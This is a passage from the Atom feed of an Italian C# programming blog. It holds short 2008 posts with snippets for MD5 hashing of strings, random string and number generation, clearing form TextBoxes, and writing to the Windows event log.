src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-7556307010119604010</id><published>2008-08-29T02:48:00.003+02:00</published><updated>2008-08-29T18:52:37.295+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C-sharp'/><title type='text'>Calcolare MD5-Hash</title><content type='html'>Un semplice metodo per generare un hash MD5 da una stringa utilizzando un metodo di Encoding.&lt;br&gt;&lt;br /&gt;- Il parametro Input è la stringa data in input.&lt;br /&gt;- Il parametro UseEncoding è il metodo di Encoding.&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; CalculateMD5(&lt;span class="kwrd"&gt;string&lt;/span&gt; Input, Encoding UseEncoding)&lt;br /&gt;{&lt;br /&gt;    System.Security.Cryptography.MD5CryptoServiceProvider CryptoService;&lt;br /&gt;    CryptoService = &lt;span class="kwrd"&gt;new&lt;/span&gt; System.Security.Cryptography.MD5CryptoServiceProvider();&lt;br /&gt; &lt;br /&gt;    &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] InputBytes = UseEncoding.GetBytes(Input);&lt;br /&gt;    InputBytes = CryptoService.ComputeHash(InputBytes);&lt;br /&gt;    &lt;span class="kwrd"&gt;return&lt;/span&gt; BitConverter.ToString(InputBytes).Replace(&lt;span class="str"&gt;"-"&lt;/span&gt;, &lt;span class="str"&gt;""&lt;/span&gt;);&lt;br /&gt;}&lt;/code&gt;&lt;br/&gt;&lt;br /&gt;Un semplice metodo per generare un hash MD5 da una stringa utilizzando un encoding di default.&lt;br/&gt;&lt;br /&gt;- Il parametro Input è la stringa data in input.&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; CalculateMD5(&lt;span class="kwrd"&gt;string&lt;/span&gt; Input)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;return&lt;/span&gt; CalculateMD5(Input, System.Text.Encoding.Default);&lt;br /&gt;}&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-7556307010119604010?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/7556307010119604010/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/calcolare-md5-hash.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/7556307010119604010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/7556307010119604010'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/calcolare-md5-hash.html' title='Calcolare MD5-Hash'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-7446849555536433617</id><published>2008-08-29T02:48:00.002+02:00</published><updated>2008-08-29T17:05:28.443+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C-sharp'/><title type='text'>Stringhe e numeri random</title><content type='html'>Generazione di una stringa random di una determinata lunghezza.&lt;br/&gt;&lt;br /&gt;- Il parametro size determina la dimensione della stringa.&lt;br /&gt;- Il parametro lowerCase se true, genera una stringa in minuscolo.&lt;br /&gt;&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; RandomString(&lt;span class="kwrd"&gt;int&lt;/span&gt; size, &lt;span class="kwrd"&gt;bool&lt;/span&gt; lowerCase)&lt;br /&gt;{&lt;br /&gt;StringBuilder RandStr = &lt;span class="kwrd"&gt;new&lt;/span&gt; StringBuilder(size);&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Ascii posizione iniziale (65 = A / 97 = a)&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;int&lt;/span&gt; Start = (lowerCase) ? 97 : 65;&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Aggiunge caratteri random&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;for&lt;/span&gt; (&lt;span class="kwrd"&gt;int&lt;/span&gt; i = 0; i &amp;lt; size; i++)&lt;br /&gt;RandStr.Append((&lt;span class="kwrd"&gt;char&lt;/span&gt;)(26 * randomSeed.NextDouble() + Start));&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;return&lt;/span&gt; RandStr.ToString();&lt;br /&gt;}&lt;/code&gt;&lt;br/&gt;&lt;br /&gt;Generazione di un numero random.&lt;br/&gt;&lt;br /&gt;- Il parametro Minimal determina il risultato minimo di numeri.&lt;br /&gt;- Il parametro Maximal determina il risultato massimo di numeri.&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;int&lt;/span&gt; RandomNumber(&lt;span class="kwrd"&gt;int&lt;/span&gt; Minimal, &lt;span class="kwrd"&gt;int&lt;/span&gt; Maximal)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; randomSeed.Next(Minimal, Maximal);&lt;br /&gt;        }&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-7446849555536433617?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/7446849555536433617/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/stringhe-e-numeri-random.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/7446849555536433617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/7446849555536433617'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/stringhe-e-numeri-random.html' title='Stringhe e numeri random'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-6451569687959846943</id><published>2008-08-29T02:48:00.001+02:00</published><updated>2008-08-29T16:55:24.363+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C-sharp'/><title type='text'>Cancellare il testo di tutte le textbox di un form</title><content type='html'>Per cancellare il testo di tutte le TextBox di un form, è possibile utilizzare questo codice:&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; clear_tBox()&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;foreach&lt;/span&gt; (Control c &lt;span class="kwrd"&gt;in&lt;/span&gt; &lt;span class="kwrd"&gt;this&lt;/span&gt;.Controls)&lt;br /&gt;    &lt;span class="kwrd"&gt;if&lt;/span&gt; (c &lt;span class="kwrd"&gt;is&lt;/span&gt; TextBox)&lt;br /&gt;        (c &lt;span class="kwrd"&gt;as&lt;/span&gt; TextBox).Clear();&lt;br /&gt;}&lt;/code&gt;&lt;br/&gt;&lt;br /&gt;Ovviamente se il TextBox è contenuto in un Panel, GroupBox, etc. è necessario specificare dove localizzare i controlli, quindi:&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;...&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;foreach&lt;/span&gt; (Control c &lt;span class="kwrd"&gt;in&lt;/span&gt; panel1.Controls)&lt;br /&gt;    &lt;span class="kwrd"&gt;...&lt;/span&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-6451569687959846943?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/6451569687959846943/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/cancellare-il-testo-di-tutte-le-textbox.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/6451569687959846943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/6451569687959846943'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/cancellare-il-testo-di-tutte-le-textbox.html' title='Cancellare il testo di tutte le textbox di un form'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-8117840553971563968</id><published>2008-08-29T02:48:00.000+02:00</published><updated>2008-08-29T16:55:47.459+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C-sharp'/><title type='text'>Scrivere negli eventi di windows</title><content type='html'>&lt;code class="csharpcode"&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; wLog(&lt;span class="kwrd"&gt;string&lt;/span&gt; msg)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;try&lt;/span&gt; &lt;br /&gt;    {&lt;br /&gt;        &lt;span class="kwrd"&gt;if&lt;/span&gt;(!EventLog.SourceExists(&lt;span class="str"&gt;"Setup"&lt;/span&gt;))&lt;br /&gt;        {&lt;br /&gt;            EventLog.CreateEventSource(&lt;span class="str"&gt;"Setup"&lt;/span&gt;, &lt;span class="str"&gt;"DevEnne"&lt;/span&gt;);&lt;br /&gt;        }&lt;br /&gt;        EventLog myLog = &lt;span class="kwrd"&gt;new&lt;/span&gt; EventLog();&lt;br /&gt;        myLog.Source = &lt;span class="str"&gt;"Setup"&lt;/span&gt;;&lt;br /&gt;        &lt;br /&gt;        myLog.WriteEntry(msg, EventLogEntryType.Information);&lt;br /&gt;    }&lt;br /&gt;    &lt;span class="kwrd"&gt;catch&lt;/span&gt;&lt;br /&gt;    {&lt;br /&gt;        &lt;span class="rem"&gt;// gestione errori&lt;/span&gt;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-8117840553971563968?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/8117840553971563968/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/scrivere-negli-eventi-di-windows.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/8117840553971563968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/8117840553971563968'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/scrivere-negli-eventi-di-windows.html' title='Scrivere negli eventi di windows'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry></feed>
